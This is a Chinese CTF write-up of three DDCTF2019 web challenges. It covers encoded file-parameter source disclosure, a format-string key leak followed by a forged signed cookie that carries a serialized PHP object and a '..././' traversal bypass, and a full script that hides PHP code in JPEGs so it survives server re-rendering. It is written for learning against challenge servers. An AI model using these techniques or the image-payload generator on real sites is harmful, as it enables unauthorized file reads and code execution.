声明:语言表达能力有限,本问仅供学习参考,大佬勿喷!
本文主要记录
DDCTF2019
中部分web赛题的解题过程,仅学习参考使用。
滴~
题目地址
http://117.51.150.246解题过程
1).首先打开题目,url为http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
,图中出现两个flag.jpg,和一个心情复杂的表情包。看一下源码,发现应该是将文件内容进行base64编码,然后当作图片的内容输出。
2).第一反应是文件包含,jpg参数看不懂。TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
,解码看看,通过先进行两次base64解码,再对解码解码进行16进制解码,发现结果为flag.jpg
。由此可以知道,文件名需要先进行16进制编码,再进行两次base64编码。
3).尝试读取/etc/passwd
,但是好像不能够目录跳转,过滤了/
。
4).试一试读取index.php内容,初步猜想,读取源码,进行代码审计。
5).将base64部分解码,得到index.php源码如下。
'.$_GET['jpg'].'';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'';
$file = str_replace("config","!", $file);
echo $file.'';
$txt = base64_encode(file_get_contents($file));
echo "";
/*
* Can you find the flag file?
*
*/
?>
6).看来思路没错,接下来看文件代码,发现代码是一些基本的功能输出,并没有解题的线索,唯一吸引注意的是注释部分,发现了一个博客地址。
打开博客,再别人提示下注意到这篇文章,看到这我不得不吐槽一句,出题人脑子有坑吧,线索在博客中就不说了,你倒是直接链接到这篇文章也行啊,坑爹!接下来看看这篇文章,其实没啥看的,就是linux下文件意外退出,会留下一个.swp交换文件。
7).那就是文章中说的这个practice.txt.swp
隐藏文件吧。于是继续读取文件源码吧,还是将practice.txt.swp
文件通过hex()——>base64()——>base64()
顺序编码,然后读取内容。
看到了
practice.txt.swp
里面内容为f1ag!ddctf.php
,到这个地方明显离成功不远了,应该就是继续读取f1ag!ddctf.php
文件内容了。
8). 之前在读取index.php文件时候,注意以下代码。
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'';
$file = str_replace("config","!", $file);
echo $file.'';
很明显意思就是文件名在
a-zA-Z0-9.
中,不能有!
,但是下面一行代码是将config
字符串替换为!
,分析完其实很简单了,要将f1ag!ddctf.php
名变成f1agconfigddctf.php
就行了。
9).读取f1ag!ddctf.php
内容。
10). 审计f1ag!ddctf.php
,发现这个出题人可能脑子短路了吧,在这先说结论,php代码中$content=''
,因此我们只需要传入uid=
即可拿到flag
,因为题目本身就不存在名为hello
的文件,或者就是hello
文件里面为空,所以file_get_contents($k)
的值返回false
,然后再经过trim()
函数false
被转换成空字符串""
,因此,传入uid
等于空即可绕过判断得到flag。注意此处绝对不能想错了误以为file_get_contents($k)会将返回值复制给变量。因此说出题人本来是想考察extract()
变量覆盖的,结果弄巧成拙,代码中即使==
换成===仍然成立
,这样看来这道题最后还变简单了。
假如我将
$k
值覆盖掉为一个存在的文件名config.php
,如下:
看到此处相信都明白我所说的意思了吧,如有疑惑建议亲自动手实践解惑!
WEB签到题
-
题目地址
http://117.51.158.44/index.php
解题过程
- 首先打开题目,如下图所示:抱歉,您没有登陆权限,请获取权限后访问-----
- 很明显首先要绕过认证才能访问,通过源码信息查看,发现了一个
ajax请求
,如下所示:
- 发现
didictf_username
字段可能是一个认证字段,于是走流程抓包发现didictf_username
字段,但是不知道名字啊,这个时候就要根据经验了,试试admin
吧,果不其然,通过验证,如下所示:
- 通过验证之后显示结果为:您当前当前权限为管理员----请访问:
app/fL2XID2i0Cdh.php
- 下面接着访问
app/fL2XID2i0Cdh.php
,发现了是两个php文件源码,这就很明显了,接下来就是代码审计,绕过流程,输出flag了。
url:app/Application.php
Class Application {
var $path = '';
public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;
}
public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}
}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
url:app/Session.php
include 'Application.php';
class Session extends Application {
//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";
public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}
public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}
$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);
if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);
if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;
}
private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}
$ddctf = new Session();
$ddctf->index();
分析这两个php文件,仅仅两个类而已,不过本人太菜,分析了1天,第一个文件
app/Application.php
定义了一个Application
类;第二个文件app/Session.php
也是一个类,不过这个Session
类是继承于Application
类,然后最后定义一个对象ddctf
,这个对象调用index()
函数。大概过程就是这样,比较简单。主要就是里面的东西。接下来稍微具体的分析下两个文件里面功能设计。
第一个文件:首先是定义了一个
$path
;然后是response()
函数,这个函数主要是输出信息的,接着是auth()
认证函数,这个就是控制访问权限的,可以看到要想通过认证,必须使$_SERVER['HTTP_DIDICTF_USERNAME']
等于admin
,即HTTP头部字段didictf_username
为admin
;接下来是sanitizepath()
函数,这个函数是对变量path
的字符串的过滤,这个地方随后会用的到,开始没想到这个地方;接下来就是类中的析构函数__destruct
,可以看到,如果path
变量为空,就会退出,path
变量长度不是18位也会退出,最后是读取path
路径的文件内容并使用response()
输出。
第二个文件:继承于上个文件中的类,之前说过,里面开始定义了一些类中变量;下面第一个函数为
index()
函数,这个文件在这里面也是相当于一个主函数了,里面主要调用的是session_read()
和session_create()
两个函数,同时还使用parent
关键字调用使用父类中的response()
函数;还有一个get_key()
函数,功能是相当于读取../config/key.txt
中8位的密钥吧,之前也有提示下面会用到,不过此处有个提示//eancrykey and flag under the folder
,提示说的是flag
也在这个文件夹下。
具体还是说一下
session_read()
和session_create()
两个函数,在index()
函数里面,如果请求包里面没有设置cookie
就会启用session_create()
函数,反之,设置有cookie
,就会调用session_create()
函数。session_create()
函数是创建cookie的函数,里面没什么要说的;session_read()
函数是读取cookie,通过分析可以知道,如果我们知道key就可以任意构造cookie了,关键是如何将key值输出。关键代码如下:
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
可以看到此处有输出数组,但是关键此处输出只能输出nickname的值,因为nickname的值把%s占位符替代之后,循环到
$this->eancrykey
时候,就无法输出$this->eancrykey
,例如假如post的数据为nickname=zzqsmile,this->eancrykey,仔细想下可能会想到吧,就是直接传入%s
作为nickname变量的值,这样就能够将遍历到$this->eancrykey
的值拼接到this->eancrykey的值就可以随便构造Cookie。
分析到这,人已经蒙了,怎么才能输出flag呢?这时候又要回去看
Application.php
文件中类的析构函数了,析构函数中可以读取$path
的文件内容,因此,仅仅需要用心构造好一个cookie,将文件路径写进$path,等到触发析构函数的时候让其输出flag文件内容,此时又需要一个脑洞,通过提示知道文件路径是18位,flag文件和key在一个文件夹下,因此猜想路径为../config/flag.txt
,正好18位。但是之前对../
进行过滤了,所以在构造序列化对象时候要构造成..././config/flag.txt
,分析完之后就开干。
访问
app/Session.php
文件。
可以看到开始没有cookie时会设置cookie。
可以看到图中标记红色部分
1a303cbea7ecff312df1cbd194e1def0
即是$cookiedata.md5($this->eancrykey.$cookiedata);
的结果。这个cookie是通过是一个合法的cookie,那么如果我们将这段合法的cookie带进头部,程序是不是就会读取这段cookie了,这样程序就会执行到session_read()
里面,如下:
没毛病,按照之前分析,下一步得到
$this->eancrykey
的值EzblrbNS
,不过此处要注意的是Content-Type:
字段值是否为:application/x-www-form-urlencoded
,关键点都已在下图标出。
得到
$this->eancrykey
值接下来就写个很low的脚本构造下cookie。
eancrykey
$zzz = new Application();
$b = serialize($zzz);
echo "$b";
echo "
";
//$b// O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}
$a = $b.md5('EzblrbNS'.$b);
echo $a;
//$a// O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}5a014dbe49334e6dbb7326046950bee2
//
echo "
";
echo urlencode($a);
//urlencode($a)// O%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22...%2F.%2Fconfig%2Fflag.txt%22%3B%7D5a014dbe49334e6dbb7326046950bee2
?>
带入构造的cookie成功拿到flag。
Upload-IMG
-
题目地址
[http://117.51.148.166/upload.php)(http://117.51.148.166/upload.php)
解题过程
1). 按照给的认证用户名,密码进入题目
通过测试发现,主要是只能上传图片,题目是通过文件内容中有
phpinfo()
字符串来决定是否通关的,测试发现,上传的图片是被经过二次渲染
的,因此,就要绕过二次渲染,使其phpinfo()
内容不发生改变。
2). 直接用据说国外牛人写的脚本制作图片马。
脚本jpg_payload.php:
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "=phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php ');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
- 使用方法
1). 随便找一个jpg图片,先上传至服务器然后再下载到本地保存为1.jpg
2). 使用脚本处理1.jpg,命令php jpg_payload.php 1.jpg
亲测有效,不愧是大佬,稳了一P。
- 参考
https://xz.aliyun.com/t/2657
<完>太菜了,只能玩到这了,写的不好别喷,坐等其他Writeup